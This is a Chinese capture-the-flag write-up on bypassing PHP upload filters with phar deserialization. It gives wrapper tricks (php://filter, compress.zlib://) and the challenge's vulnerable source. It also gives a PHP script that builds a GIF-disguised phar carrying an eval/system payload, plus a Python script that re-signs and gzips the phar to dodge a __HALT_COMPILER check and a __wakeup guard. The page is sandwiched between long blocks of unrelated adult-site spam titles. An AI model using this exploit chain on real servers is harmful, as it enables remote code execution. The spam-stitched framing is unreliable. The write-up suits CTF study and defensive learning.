成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

phar繞過phar與HALT實現文件上傳功能

瀏覽:136日期:2022-06-06 11:46:45

前面也講過一次phar文件上傳的東西,但是那都是過濾比較低,僅僅過濾了后綴。

知道今天看到了一篇好的文章

如果過濾了phar這個偽造協議的話,那還是比較簡單的

if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){

die(); }例如這樣進行了過濾

繞過的話,我們可以用各種協議進行繞過

1、php://filter/read=convert.base64-encode/resource=phar://test.phar

//即使用filter偽協議來進行繞過

2、compress.bzip2://phar:///test.phar/test.txt

//使用bzip2協議來進行繞過

3、compress.zlib://phar:///home/sx/test.phar/test.txt

//使用zlib協議進行繞過

當如果__HALT_COMPILER被過濾了

PHP通過__HALT_COMPILER來識別Phar文件,那么出于安全考慮,即為了防止Phar反序列化的出現,可能就會對這個進行過濾,示例代碼如下

因為phar是通過這個來判斷是不是phar文件,而不是通過后綴來判斷,所以我們可以隨便的更改后綴而不會影響效果

這里的辦法:是將生成的Phar文件進行gzip壓縮

gziptest.phar

cat test.phar.gz

例題: [NSSRound#4 SWPU]1zweb

打開題目以后,第一眼只是覺得是上傳文件的漏洞,可是上傳都不太行。

讓我改變了一個思維,試了一下 /flag萬一呢,eee

竟然出了,那就看看下一道進階題,估計是出題人忽略了這個

[NSSRound#4 SWPU]1zweb(revenge)

這道題出題人就進行了限制

因為是前提的一個提示,所以我覺得也不會是單純的文件上傳漏洞

這時候試一下/etc/passwd,有沒有任意文件讀取漏洞,前面做過的一道題用到了這個。

果然有,那就讀取一下源碼index.php,和upload.php上傳文件

<?phpif ($_FILES["file"]["error"] > 0){    echo "上傳異常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){    echo "ltj一眼就發現了phar";}else{    if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已經存在";    }else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上傳成功 ./upload/".$_FILES["file"]["name"];    }}    }else{echo "dky不喜歡這個文件 .".$extension;    }}?>

限制了后綴只能是,gif,jpeg,jpg,png格式,并且過濾了HALT_COMPILER(), 所以這道題的考點就是繞過這個

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();    }    public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")    eval($this->cmd);    }    public function __wakeup(){$this->ljt="Re";$this->dky="Misc";    }}$file=$_POST["file"];if(isset($_POST["file"])){    if (preg_match("/flag/", $file)) {    	die("nonono");    }    echo file_get_contents($file);}

這個反序列化,是簡單的,僅僅是繞過wakeup就可以,考點并不在這里,發現沒有serialize這個的參數,而且有文件上傳并且file_get_contents可以觸發phar序列化,所以確定了需要phar.

這里就出現了一個問題,phar如何繞過wakeup呢,如何把屬性值加1呢,我們先不考慮這些,先寫出phar 文件來

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system("cat /flag");";    }}$phar = new Phar("quan9i.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ? >");$a = new LoveNss();$phar->setMetadata($a);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>

這個比較簡單,就直接過了,然后就需要考慮我們以上的問題了

import gzipfrom hashlib import sha1with open("D:\\phpstudy\\quan9i.phar", "rb") as file:    f = file.read()s = f[:-28] # 獲取要簽名的數據s = s.replace(b"3:{", b"4:{")#更換屬性值,繞過__wakeuph = f[-8:] # 獲取簽名類型以及GBMB標識newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)#print(newf)newf = gzip.compress(newf) #對Phar文件進行gzip壓縮with open("D:\\phpStudy\\newquanqi.png", "wb") as file:#更改文件后綴    file.write(newf)

找到我們生成phar的文件目錄,只讀

因為我們改變了phar里面的內容,wakeup屬性值,所以需要重新生成一個標簽

就會直接生成一個png的文件,我們直接上傳然后phar協議讀取

到此這篇關于phar繞過phar與HALT實現文件上傳功能的文章就介紹到這了,更多相關phar文件上傳內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
色国产精品一区在线观看| 性久久久久久| 91视频精品在这里| 国内精品久久久久影院色| 日韩精品免费视频人成| 蜜臀久久久99精品久久久久久| 日韩制服丝袜av| 一区二区三区我不卡| 99亚洲一区二区| 久久永久免费| 91超碰这里只有精品国产| 精品成人佐山爱一区二区| 中文字幕欧美日韩一区| 一区二区三区四区不卡视频| 午夜视频一区在线观看| 国产精品一区在线| 色综合色狠狠综合色| 亚洲理论在线| 国产精品国产三级国产a| 亚洲综合色婷婷| 国产综合一区二区| 久久青青草综合| 亚洲愉拍自拍另类高清精品| 亚洲高清资源| 欧美日韩国产首页在线观看| 国产网站一区二区| 视频一区二区中文字幕| 中文精品一区二区三区| 欧美久久久一区| 国产精品嫩草影院av蜜臀| 蜜臀av性久久久久蜜臀aⅴ流畅 | 欧美午夜电影一区| 久久久久久久av麻豆果冻| 亚洲va国产va欧美va观看| 成人一区二区在线观看| 在线视频精品| 亚洲人成伊人成综合网小说| 韩国av一区二区三区在线观看| 欧美日韩一区不卡| 亚洲人成伊人成综合网小说| 亚洲性图久久| 亚洲欧美日韩国产综合在线| 亚洲激情偷拍| 欧美xxxxxxxxx| 五月天欧美精品| 国产农村妇女精品一二区| 欧美videossexotv100| 成人性视频网站| 久久综合资源网| 中文字幕在线观看不卡视频| 国产老女人精品毛片久久| 91精品黄色片免费大全| 国产999精品久久久久久绿帽| 亚洲综合日本| 水蜜桃久久夜色精品一区的特点| 色综合久久88色综合天天| 日本一区二区三级电影在线观看 | 国产精品自产自拍| 日韩你懂的电影在线观看| 午夜在线电影亚洲一区| 色婷婷综合久久久久中文| 久久福利视频一区二区| 国产精品美女诱惑| 中文字幕第一页久久| 国产一区在线免费观看| 精品国产sm最大网站| 精品成人久久| 日本中文在线一区| 久久青青草原一区二区| 丁香婷婷综合激情五月色| 久久嫩草精品久久久精品| 亚洲视频导航| 国产精品一二三四| 中文字幕视频一区二区三区久| 国产精品乱子乱xxxx| 国产一区二区三区蝌蚪| 欧美无砖砖区免费| 97久久精品人人做人人爽 | 欧美性色黄大片手机版| 99国产麻豆精品| 亚洲综合视频网| 欧美一区二区三区不卡| 韩国精品久久久| 欧美不卡在线视频| aa亚洲婷婷| 久久精品国产一区二区| 欧美sm极限捆绑bd| aⅴ色国产欧美| 国产福利一区在线| 欧美视频日韩| 亚洲午夜电影网| 狠狠色噜噜狠狠狠狠色吗综合| 亚洲精品老司机| 99re这里只有精品首页| 中文字幕国产一区二区| 国产偷自视频区视频一区二区| 午夜私人影院久久久久| 欧美在线观看视频一区二区三区| 国产视频911| 国色天香一区二区| 亚洲国产精品影院| 欧美日高清视频| 91视视频在线观看入口直接观看www | 91精品国产福利| 成人久久视频在线观看| 国产精品国产三级国产普通话蜜臀 | 国产一区二区三区四区五区入口| 欧美不卡一区二区三区四区| 99久久综合国产精品| 亚洲欧美电影院| 91久久精品一区二区三区| 国v精品久久久网| 亚洲欧美另类图片小说| 欧美日韩色一区| 欧美日韩视频在线一区二区观看视频| 亚洲综合偷拍欧美一区色| 欧美大度的电影原声| 亚洲国产精选| 热久久国产精品| 国产午夜久久| 国产在线观看一区二区| 久久久久免费观看| 性伦欧美刺激片在线观看| 成人a区在线观看| 亚洲欧美在线另类| 3d成人h动漫网站入口| 国内激情久久| 精品一区精品二区高清| 欧美国产精品一区二区| 91久久久免费一区二区| 色综合色综合色综合色综合色综合 | 久久综合伊人| 一级精品视频在线观看宜春院 | 一区二区三区在线免费| 欧美高清性hdvideosex| 精品999网站| 国产麻豆日韩欧美久久| 一个色综合av| 日韩精品影音先锋| 亚洲欧美高清| 国产精品白丝av| 国产色产综合产在线视频| 亚洲免费网站| 波波电影院一区二区三区| 亚洲成人午夜影院| 欧美精品一区二区三区蜜桃视频 | 大胆亚洲人体视频| 亚洲高清在线视频| 欧美精品一区二区不卡| 午夜在线a亚洲v天堂网2018| 成人高清免费观看| 亚洲午夜精品17c| 久久久久久麻豆| 欧美性xxxxxxxx| 狠狠色综合网| 国产精品18久久久久| 国产精品国产三级国产有无不卡| 久久久99精品免费观看不卡| 欧美四级电影网| 一区二区日韩免费看| 91免费观看国产| 国产一区 二区 三区一级| 香蕉成人伊视频在线观看| 国产精品天美传媒沈樵| 91高清在线观看| 粉嫩在线一区二区三区视频| 亚洲国产一区二区三区青草影视| 日韩一区二区精品葵司在线| 国产成a人无v码亚洲福利| 亚洲国产另类精品专区| 欧美极品xxx| 日韩精品一区二区三区视频| 亚洲婷婷在线| 大陆成人av片| 精品一区二区三区不卡| 视频一区视频二区中文| 亚洲视频网在线直播| 久久精品官网| 黑人一区二区三区四区五区| 国产精品综合一区二区| 亚洲成a天堂v人片| 亚洲精品一区二区三区蜜桃下载 | 亚洲精品字幕| www.亚洲国产| 国内精品国产成人| 日韩激情中文字幕| 亚洲乱码国产乱码精品精小说 | 在线视频观看一区| 伊人蜜桃色噜噜激情综合| 成人免费视频app| 国产一区在线不卡| 美国十次了思思久久精品导航| 一区二区三区美女| 亚洲三级在线免费| 久久免费精品国产久精品久久久久| 欧美不卡一区二区三区| 678五月天丁香亚洲综合网| 色噜噜狠狠色综合欧洲selulu| 99精品视频免费观看视频| 国产风韵犹存在线视精品|